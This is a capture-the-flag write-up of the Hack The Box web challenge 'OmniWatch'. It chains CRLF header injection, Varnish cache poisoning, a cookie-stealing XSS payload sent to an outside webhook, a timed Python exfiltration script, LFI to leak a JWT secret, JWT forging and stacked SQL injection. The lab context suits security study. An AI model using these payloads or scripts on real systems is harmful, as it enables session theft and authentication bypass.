OmniWatch
(Hard Web Challenge)

OVERVIEW

So we have given Some Files To Download and Instance . So Let’s start the instance and also view the source code or the data we are given
So In the website we can see there is a authentication/login feature

So Since we don’t have Username and Password So let’s check the files we had downloaded

We have a web app consisting of 2 services, one written in Zig using the http.zig framework and one written in Python using the Flask framework.
They both sit behind a varnish cache, and a MySQL database is used for storing data. The oracle service is used for fetching location by providing the id of a device.
The controller service requires authentication and is used to browse tracking device data as well as browsing firmware updates.
CRLF injection in http.zig
Let's have a closer look on the oracle function of the main.zig service
fn oracle(req: *httpz.Request, res: *httpz.Response) !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
const allocator = gpa.allocator();
const deviceId = req.param("deviceId").?;
const mode = req.param("mode").?;
const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
const decodedMode = try std.Uri.unescapeString(allocator, mode);
const latitude = try randomCoordinates();
const longtitude = try randomCoordinates();
res.header("X-Content-Type-Options", "nosniff");
res.header("X-XSS-Protection", "1; mode=block");
res.header("DeviceId", decodedDeviceId);
if (std.mem.eql(u8, decodedMode, "json")) {
try res.json(.{ .lat = latitude, .lon = longtitude }, .{});
} else {
const htmlTemplate =
\\<!DOCTYPE html>
\\<html>
\\ <head>
\\ <title>Device Oracle API v2.6</title>
\\ </head>
\\<body>
\\ <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p>
\\</body>
\\</html>
;
res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
}
}
The deviceId and mode variables are URL-decoded and stored into two variables (decodedDeviceId, decodedMode).
If decodedMode is equal to json, a JSON response with the random coordinates is returned.
Else an HTML string is created containing decodedMode and the random coordinates. This looks like a possible XSS vector but because the X-Content-Type-Options header is set to nosniff and no Content-Type header is set the browser does not "sniff" the content type or render this response as HTML.
By searching the issues of the http.zig library we find a closed issue explaining a CRLF injection bug. All route parameters are vulnerable to CRLF injection, so we can use this to inject arbitrary headers like the Content-Type header we needed to cause XSS.
Even though this was patched we can deduct that our app since is vulnerable it's using a static version of http.zig without importing it with the help of any package manager, and if we check the signatures of the files at challenge/oracle/modules we will see they match the ones before the patch commits were made on GitHub.
So Let’s Try XSS with the URL encoded payloads on /oracle/
http://94.237.57.1:52049/oracle/%3Cscript%3Ealert%280%29%3C%2Fscript%3E/1%0D%0AContent-Type%3A%20text%2Fhtml
Basically the URL decoded payloads are
/oracle/<script>alert(0)</script>/1\r\nContent-Type: text/html

Got the XSS payload working which means it is a successful CRLF Injection attack
Varnish Cache Poisoning
Great now we can cause XSS, but how can we weaponize that? Let's have a closer look at config/cache.vcl
sub vcl_backend_response {
if (beresp.http.CacheKey == "enable") {
set beresp.ttl = 10s;
set beresp.http.Cache-Control = "public, max-age=10";
} else {
set beresp.ttl = 0s;
set beresp.http.Cache-Control = "public, max-age=0";
}
}
At the CacheKey header is checked for the value vcl_backend_response subroutine, which is used to forward the response from the backed to the client, the enabled . If this header is sent from the backend the response is cached for 10 seconds.
sub vcl_hash {
hash_data(req.http.CacheKey);
return (lookup);
}
The In this instance only the vcl_hash is used to join the components of which varnish creates the hash that identifies clients.
CacheKey header is used for this, we can abuse this to cause cache poisoning since we can inject arbitrary headers.
If we inject the arbitrary Content-Type or X-Content-Type-Options header alongside the enabled header and the XSS payload in the CacheKey = mode parameter varnish will cache the malicious response for 10 seconds, so after this any user visiting that endpoint will receive the cached response, this happens because headers by themselves are not supposed to be used as hash_data
So, we can now cause the cache poisoning + XSS
Race Condition In The Chromium Bot
We can try and use what we found to attack the bot that runs every 0.5 minutes but this does not work. If we poison the cache with the following payload:
<script>fetch("http://my-server.com/exfiltrate?cookies="+document.cookie)</script>
We receive a request with no cookies provided because in bot’s code
client.get("http://127.0.0.1:1337/controller/login")
time.sleep(3)
client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"])
client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"])
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)
client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}")
time.sleep(10)
Here we can see that the bot first visits the login page, waits 3 seconds, logs in using the credentials, waits another 3 seconds and then visits a random device on the oracle service.
So if we poison the cache before the user logs in there are no cookies to steal yet, and because the bot gets our cached response there are no inputs and buttons to interact with so the login step fails completely. We have to time the poisoning of the cache accurately after the login step but not after the bot visits the oracle.
Thankfully there is the /controller/bot_running endpoint which gives us the status of the bot, so we can estimate to poison the cache about 3 seconds after the bot has started.
So use the below script to get the moderator JWT token
import requests
import urllib.parse
import time
import multiprocessing
from flask import Flask, request
# Configuration
CHALLENGE_URL = "http://xx.xx.xx.xx:xxxx"
EXFIL_URL = "YOUR_WEBHOOK_PUBLIC_LINK" # Webhoook
def start_server():
app = Flask(__name__)
@app.route("/exfiltrate", methods=["GET"])
def index():
cookies = request.args.get("cookies", "No cookies received")
print("Leaked cookies:", cookies)
# Save cookies to a file for persistence
with open("exfiltrated_cookies.txt", "a") as f:
f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {cookies}\n")
return "ok", 200
app.run(host=EXFIL_URL, debug=False)
def url_encode(string):
return urllib.parse.quote(string, safe="")
def check_bot():
try:
resp = requests.get(f"{CHALLENGE_URL}/controller/bot_running", timeout=5)
print(f"Bot check status: {resp.text}")
return resp.text == "running"
except requests.RequestException as e:
print(f"Error checking bot: {e}")
return False
def poison_cache():
if not check_bot():
print("Bot not running, skipping cache poison attempt")
return False
time.sleep(3)
xss = f"<script>fetch('{EXFIL_URL}/exfiltrate?cookies='+document.cookie)</script>"
encoded_xss = url_encode(xss)
injected_headers = "\r\nCacheKey: enable\r\nX-Content-Type-Options: undefined"
encoded_headers = url_encode(injected_headers)
try:
final_url = f"{CHALLENGE_URL}/oracle/{encoded_xss}/1{encoded_headers}"
print(f"Sending request to: {final_url}")
response = requests.get(final_url, timeout=5)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text[:500]}") # Truncate for readability
return True
except requests.RequestException as e:
print(f"Error in poison_cache: {e}")
return False
def poison_loop():
while True:
poison_cache()
time.sleep(1)
if __name__ == "__main__":
server = multiprocessing.Process(target=start_server)
poison = multiprocessing.Process(target=poison_loop)
server.start()
poison.start()
In CHALLENGE_URL use the challenge URL given and for webhook link you can go to webhook.site
(Use VPN if your site is not opening)
then run this python code and wait for the bot to poison the cache

Here we go Now go to your webhook.site again to see the request

We got our cookie , Now Copy paste this cookie in the cookies of website and access /controller/admin

We successfully got entered in Admin Dashboard Now Let’s check other things out like Firmware etc
So Navigating to /controller/firmware reveals to us a firmware update page. There are two selections of firmware files we can preview.

On seeing the firmware section in routes.py
@web.route("/firmware", methods=["GET", "POST"])
@moderator_middleware
def firmware():
if request.method == "GET":
patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]
return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable)
if request.method == "POST":
patch = request.form.get("patch")
if not patch:
return response("Missing parameters"), 400
file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read()
return file_data, 200
We notice that the file to preview is provided as a post parameter coming from the front-end. The Python os.path.join method is used to build the absolute path of the file to be read.
This is vulnerable to LFI since removes the first section of the path if the later one is an absolute path
Let’s capture the preview firmware request inside Burpsuite to apply the LFI
(Don’t mind the host IP as Mine Instance got closed so I started it again and got new IP)
So change the patch = /app/jwt_secret.txt we got from challenge/controller/application/util/config.py

And by this we got our jwt_secret by which we could create new jwt token
Now head to online python jwt compiler to make new jwt with the below script
import jwt
payload = {
"user_id": 1,
"username": "reapsec", #name of your choice
"account_type": "administrator"
}
secret="YOUR_SECRET" #add your own
print(jwt.encode(payload, secret, algorithm="HS256"))
And you will get your new jwt token
Remember the authentication middleware implements tamper protection so even if we generate a new JWT using the leaked secret we still won't be able to log in.
The only way this can be bypassed is if we could insert our own signature in the database.
SQLi To Insert Arbitrary Signatures
@web.route("/device/<id>", methods=["GET"])
@moderator_middleware
def device(id):
mysql_interface = MysqlInterface(current_app.config)
device = mysql_interface.fetch_device(id)
if not device:
return redirect("/controller/home")
return render_template("device.html", user_data=request.user_data, nav_enabled=True, title=f"OmniWatch - Device {device['device_id']}", device=device)
At the /controller/device/<id> route an instance of MysqlInterface is created which then calls the method fetch_device with the provided id as it's parameter.
By having a look at challenge/controller/application/util/database we discover that this query is vulnerable to SQL injection.
Let’s create URL encoded SQLi Payloads to enter in /device/{id}
NOTE: DON’T FORGET TO ADD SPACE AFTER EACH PAYLOAD SUCH THAT YOUR PAYLOAD SHOULD END WITH A SPACE OR %20 IN URL ENCODING
First Let’s check whether multi-statement execution is allowed
1' OR '1'='1'; SELECT SLEEP(3); --
Use CyberChef to URL encode this payload with all special characters and put it after /controller/device/{id}

Since it perfectly executed it means multiline statement is allowed so we can stack an UPDATE after a SELECT
Now take the signature of the new JWT token you created above and convert it into hex using cyberchef again and put 0x in front of it
FOR EXAMPLE: (yours will be different)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InJlYXBzZWMiLCJhY2NvdW50X3R5cGUiOiJhZG1pbmlzdHJhdG9yIn0.OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4
This is my own jwt token which i created using above script now i am taking its signature (means third part among three parts divided by . )
OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4
Now head to Cyberchef and convert it into hex and put 0x in front of it

So the final signature will be
0x4f616a4637516a767932436d43365675424259785031483959457935315373544756706e4e38476c356534
#ABOVE WAS JUST AN EXAMPLE YOUR VALUES WILL BE DIFFERENT
Now let’s create a final payload to add our signature in the database to bypass the authentication
1' OR '1'='1' LIMIT 1; UPDATE signatures SET signature = YOUR_SIGNATURE WHERE user_id = 1; --
(don’t forget to check the space after the payload and be sure that your URL encoded payload ends with %20 )
URL ENCODE THIS PAYLOAD IN CYBERCHEF
Now put this payload same as before in place of id in /controller/device/id

If it shows no error that means it is added in the database
Now quickly copy your new jwt which you had created from above script and now change it in the cookies of this website and then go to /controller/admin

And we will get the Flag !!
NOTE:
If you don’t see flag check your payload once again and now do it from webhook step again like use that jwt you got in webhook to go to admin dashboard and you already have the secret and custom jwt you created so no need to do that again so just enter the signature payload once again , don’t enter the multiline checking payload this time and then change the jwt in cookies with your custom made and again try accessing /controller/admin and you will get the flag.
WE FINALLY DID IT !!!! CHALLENGE SOLVED !!

FOR FULL DETAILS ABOUT VULNERABILITY AND THE CHALLENGE PLEASE CHECK OUT OFFICIAL WALKTHROUGH OF HACK THE BOX
For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com
THANKS FOR READING !!!




